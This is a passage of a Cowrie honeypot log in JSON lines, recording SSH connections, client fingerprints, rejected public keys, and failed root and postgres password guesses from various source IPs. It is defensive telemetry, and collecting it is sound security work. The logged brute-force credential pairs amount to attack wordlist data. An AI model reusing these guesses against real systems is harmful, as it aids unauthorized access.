01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:13.178995Z","src_ip":"38.96.178.216","session":"8aba0a545da6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cb:15:94:8e:93:b2:df:7c:29:e3:76:fa:85:9f:1a:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA+2O1J6cE/y8VFS3N8XhJXL0aTti6W0tf68/arJWuNEPMwHCVFQ3uUH7Dgl14Hex6Yq88s9tYr9qLtK8cgqgdYWBvPCv8LVDfm+pAwdKj1MVx6ztHvd2O7KgSnZxTZpU3yMT5YV7oQY9HWsw9YFNAEKpmmuhueZejvfdRp8Uf9USU3C1su0KP6G3vXLw9YDz3PsWqGMLZ81/4/BvE1UWOKfGNruw6ZFNZM0swCkgmw3Il+eA9COCURmN6H06eA4vs9nYG7RvPbt6Xy7/9kv2RgXzxqRNHDY/tRG0FbFuCcs4skhwm8IYVFIpq/5iy5xN+CQYmGT9xO/CWBnNjeTLC1w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cb:15:94:8e:93:b2:df:7c:29:e3:76:fa:85:9f:1a:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:13.200928Z","src_ip":"38.96.178.216","session":"8aba0a545da6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cb:15:94:8e:93:b2:df:7c:29:e3:76:fa:85:9f:1a:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA+2O1J6cE/y8VFS3N8XhJXL0aTti6W0tf68/arJWuNEPMwHCVFQ3uUH7Dgl14Hex6Yq88s9tYr9qLtK8cgqgdYWBvPCv8LVDfm+pAwdKj1MVx6ztHvd2O7KgSnZxTZpU3yMT5YV7oQY9HWsw9YFNAEKpmmuhueZejvfdRp8Uf9USU3C1su0KP6G3vXLw9YDz3PsWqGMLZ81/4/BvE1UWOKfGNruw6ZFNZM0swCkgmw3Il+eA9COCURmN6H06eA4vs9nYG7RvPbt6Xy7/9kv2RgXzxqRNHDY/tRG0FbFuCcs4skhwm8IYVFIpq/5iy5xN+CQYmGT9xO/CWBnNjeTLC1w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:13.203494Z","src_ip":"38.96.178.216","session":"8aba0a545da6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:88:f1:6f:15:08:73:5d:64:b1:75:3b:a9:6e:3f:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfwcInC7OBwKDpXYBVT7YyNPImykt8XK5wLOSDvtswJbkSzVkZX2JpHBAnpGAYH0HUvryk61h2COqJ153bn6vLKocymeOu1YeymBxjCBK0c6I9A6xKYlIt2CEj4VDfhGK9sb1C2efD6XbFki1E4Z7pN21ouL/fBDsHbZW1HqW6UUoqiKAlyaC0fAXlUiaPSQLmAcBZmJ4+1kQvOmk1VN8Oe6J2FJfI/HakgSEFxobKbYxXZZ0TV+M8QcuEEt9w0Djj4Fs3Ov5QprK4Nb1MRjW+NqCUXyiEUJkbdn4240oPktKUOy4VoCJAKKhck5uIbWbgRSTneexsygQBcocJsut7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e9:88:f1:6f:15:08:73:5d:64:b1:75:3b:a9:6e:3f:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:13.211892Z","src_ip":"38.96.178.216","session":"8aba0a545da6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:88:f1:6f:15:08:73:5d:64:b1:75:3b:a9:6e:3f:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfwcInC7OBwKDpXYBVT7YyNPImykt8XK5wLOSDvtswJbkSzVkZX2JpHBAnpGAYH0HUvryk61h2COqJ153bn6vLKocymeOu1YeymBxjCBK0c6I9A6xKYlIt2CEj4VDfhGK9sb1C2efD6XbFki1E4Z7pN21ouL/fBDsHbZW1HqW6UUoqiKAlyaC0fAXlUiaPSQLmAcBZmJ4+1kQvOmk1VN8Oe6J2FJfI/HakgSEFxobKbYxXZZ0TV+M8QcuEEt9w0Djj4Fs3Ov5QprK4Nb1MRjW+NqCUXyiEUJkbdn4240oPktKUOy4VoCJAKKhck5uIbWbgRSTneexsygQBcocJsut7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:13.214390Z","src_ip":"38.96.178.216","session":"8aba0a545da6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7d:d5:73:10:9c:32:1c:49:28:62:d4:de:0c:a5:cd:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArRjjJiiIMalgMrGIHGztuVjMxgLh3D2B/B5qV/12fun/pivgWM9wcP2kpEJ2ZteI1adi1jmH4AL6eDBnghkaQr0i4mxvemwJQJVRo+OSesbfcx5vWCcuMBLEysHgLVX8evWvoFSfkNQnIPDnI/uZvlXq0a7jXGAZd99C5wuZ1g8nkZGMnr6sid9Rnxf+++h9+dLAph0RmH6b1ldn9BLOCYzTAKiTm1r9A7GZ1DTjXiJjMhx/uhuZ0NgwmAicNwBwbHbnUOoIKlnBq2cfztAkXl2X5NM6I2VxyWjXDmsNBJdOsw+ObbvRq8/UEwQuiQ1vEEHLKFfWT5EZl3R2nivHJw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7d:d5:73:10:9c:32:1c:49:28:62:d4:de:0c:a5:cd:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:13.220864Z","src_ip":"38.96.178.216","session":"8aba0a545da6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7d:d5:73:10:9c:32:1c:49:28:62:d4:de:0c:a5:cd:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArRjjJiiIMalgMrGIHGztuVjMxgLh3D2B/B5qV/12fun/pivgWM9wcP2kpEJ2ZteI1adi1jmH4AL6eDBnghkaQr0i4mxvemwJQJVRo+OSesbfcx5vWCcuMBLEysHgLVX8evWvoFSfkNQnIPDnI/uZvlXq0a7jXGAZd99C5wuZ1g8nkZGMnr6sid9Rnxf+++h9+dLAph0RmH6b1ldn9BLOCYzTAKiTm1r9A7GZ1DTjXiJjMhx/uhuZ0NgwmAicNwBwbHbnUOoIKlnBq2cfztAkXl2X5NM6I2VxyWjXDmsNBJdOsw+ObbvRq8/UEwQuiQ1vEEHLKFfWT5EZl3R2nivHJw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:13.223369Z","src_ip":"38.96.178.216","session":"8aba0a545da6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f0:1c:0d:bd:48:7f:90:f1:da:91:6e:c5:63:dc:36:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmPe4Km/QsHVjTBddSWbA324b4FncZ3k7ZdO+fG8zd+DSQ+QMqq/ZGirCfXiP+N9yc2/yT17xihR0470c57MJuRJXm748LH5WfUFKzdWfRPNhSEbXugdDsPoY/q+GmxqIOn05cWrt9xUDzjTjbZSUbx8LtLwtTv+QHKsHCpDceAaD+Bpqsv16BmWEYjsAetnBGrF11RsmF3DDydkpxQfPtt694XzqB1kfIJcb02ro54Yn1MSqeWAr2zzw4nrJPsp4QTJhFJAfevlIvJ32JdD9zkABENajrXZ04As2zhoLTseQ1hblGl7AQ8fb9c5W1zXPEi3iXJLYKTuABBXIcTZWd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f0:1c:0d:bd:48:7f:90:f1:da:91:6e:c5:63:dc:36:3a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:13.230259Z","src_ip":"38.96.178.216","session":"8aba0a545da6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f0:1c:0d:bd:48:7f:90:f1:da:91:6e:c5:63:dc:36:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmPe4Km/QsHVjTBddSWbA324b4FncZ3k7ZdO+fG8zd+DSQ+QMqq/ZGirCfXiP+N9yc2/yT17xihR0470c57MJuRJXm748LH5WfUFKzdWfRPNhSEbXugdDsPoY/q+GmxqIOn05cWrt9xUDzjTjbZSUbx8LtLwtTv+QHKsHCpDceAaD+Bpqsv16BmWEYjsAetnBGrF11RsmF3DDydkpxQfPtt694XzqB1kfIJcb02ro54Yn1MSqeWAr2zzw4nrJPsp4QTJhFJAfevlIvJ32JdD9zkABENajrXZ04As2zhoLTseQ1hblGl7AQ8fb9c5W1zXPEi3iXJLYKTuABBXIcTZWd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:13.233147Z","src_ip":"38.96.178.216","session":"8aba0a545da6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"05:c9:f0:bb:0d:a4:e4:d8:56:d0:57:7d:7d:f3:6a:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCGo9I+/++0eOHZ9pSPlPFbJWV35oN/xYy4qHoNnxfjxeS3+T1SDB2TUhLyF9UO6kyWK4P8cBfWTgPayG2D5w2fKD12nDRQBDNJc/kRg1l0V4zTyu/0Nb/Sb4oJMI2TOseV/Dm0ApImN+1LRnhSGcJ4DVQqRIWj+/6S4s61FR5kH36W+mw1ipdLM3SU4W6VIKxwzW2cTLNgqawyt0TzS/iqjB+KScgaTFuLcZMHKlOG+vFogJ4hPahvgsj7H3P2YziOS9jzOMSWeR6W9WYgotrRUKirE4bSL9YiVJXg1OKC9FABZT1aqMb7qHNLqEtcsoxyWDUIgcZatQqqbM3A/mTy/1urvRc4Asf+Scb5Niz5hIWtJ2JPRKG+CPM8IeGZQAEJ2KWY7d5Tmm0XA8kYugIoovqQw+hVWzD5DMZ7tHoO/42dAXom8qEUCGaNtYhVpADeXgcqiJoavkoi+93q5wgnNLCcX9DfDxp12Fq8gYUFn0ocVWFAcRZbPh0ccNaye2c=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 05:c9:f0:bb:0d:a4:e4:d8:56:d0:57:7d:7d:f3:6a:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:13.239544Z","src_ip":"38.96.178.216","session":"8aba0a545da6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"05:c9:f0:bb:0d:a4:e4:d8:56:d0:57:7d:7d:f3:6a:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCGo9I+/++0eOHZ9pSPlPFbJWV35oN/xYy4qHoNnxfjxeS3+T1SDB2TUhLyF9UO6kyWK4P8cBfWTgPayG2D5w2fKD12nDRQBDNJc/kRg1l0V4zTyu/0Nb/Sb4oJMI2TOseV/Dm0ApImN+1LRnhSGcJ4DVQqRIWj+/6S4s61FR5kH36W+mw1ipdLM3SU4W6VIKxwzW2cTLNgqawyt0TzS/iqjB+KScgaTFuLcZMHKlOG+vFogJ4hPahvgsj7H3P2YziOS9jzOMSWeR6W9WYgotrRUKirE4bSL9YiVJXg1OKC9FABZT1aqMb7qHNLqEtcsoxyWDUIgcZatQqqbM3A/mTy/1urvRc4Asf+Scb5Niz5hIWtJ2JPRKG+CPM8IeGZQAEJ2KWY7d5Tmm0XA8kYugIoovqQw+hVWzD5DMZ7tHoO/42dAXom8qEUCGaNtYhVpADeXgcqiJoavkoi+93q5wgnNLCcX9DfDxp12Fq8gYUFn0ocVWFAcRZbPh0ccNaye2c=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:13.242092Z","src_ip":"38.96.178.216","session":"8aba0a545da6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:13.248110Z","src_ip":"38.96.178.216","session":"8aba0a545da6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":50018,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f572361ad3e","protocol":"ssh","message":"New connection: 94.159.110.201:50018 (159.203.135.109:22) [session: 7f572361ad3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:21.527433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:21.531374Z","src_ip":"94.159.110.201","session":"7f572361ad3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:21.645014Z","src_ip":"94.159.110.201","session":"7f572361ad3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"21081979","message":"login attempt [root/21081979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:21.986876Z","src_ip":"94.159.110.201","session":"7f572361ad3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.76.134.52","src_port":45968,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bfc866316e1","protocol":"ssh","message":"New connection: 177.76.134.52:45968 (159.203.135.109:22) [session: 5bfc866316e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:22.620728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:22.665536Z","src_ip":"177.76.134.52","session":"5bfc866316e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:22.805717Z","src_ip":"177.76.134.52","session":"5bfc866316e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:23.102259Z","src_ip":"94.159.110.201","session":"7f572361ad3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"adminadmin","message":"login attempt [postgres/adminadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:23.376364Z","src_ip":"177.76.134.52","session":"5bfc866316e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:24.521554Z","src_ip":"177.76.134.52","session":"5bfc866316e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.160.173.22","src_port":60108,"dst_ip":"10.17.0.5","dst_port":22,"session":"18a7d8b75525","protocol":"ssh","message":"New connection: 124.160.173.22:60108 (10.17.0.5:22) [session: 18a7d8b75525]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:30.615455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:30.618614Z","src_ip":"124.160.173.22","session":"18a7d8b75525","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:30.869905Z","src_ip":"124.160.173.22","session":"18a7d8b75525","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"love5201314","message":"login attempt [root/love5201314] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:31.889921Z","src_ip":"124.160.173.22","session":"18a7d8b75525","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:33.137848Z","src_ip":"124.160.173.22","session":"18a7d8b75525","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00212788581848,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:39:06.693666Z","src_ip":"137.184.5.188","session":"7f2a9aec308a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.195","src_port":40352,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f758389b7f0","protocol":"ssh","message":"New connection: 118.26.36.195:40352 (159.203.135.109:22) [session: 9f758389b7f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:39:08.810329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:39:08.814852Z","src_ip":"118.26.36.195","session":"9f758389b7f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:39:09.031906Z","src_ip":"118.26.36.195","session":"9f758389b7f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xX@123456","message":"login attempt [root/xX@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:39:09.930329Z","src_ip":"118.26.36.195","session":"9f758389b7f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:39:11.148985Z","src_ip":"118.26.36.195","session":"9f758389b7f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.198.253","src_port":50116,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc2b0bf32e81","protocol":"ssh","message":"New connection: 103.86.198.253:50116 (159.203.135.109:22) [session: fc2b0bf32e81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:39:18.891573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:39:18.894301Z","src_ip":"103.86.198.253","session":"fc2b0bf32e81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha2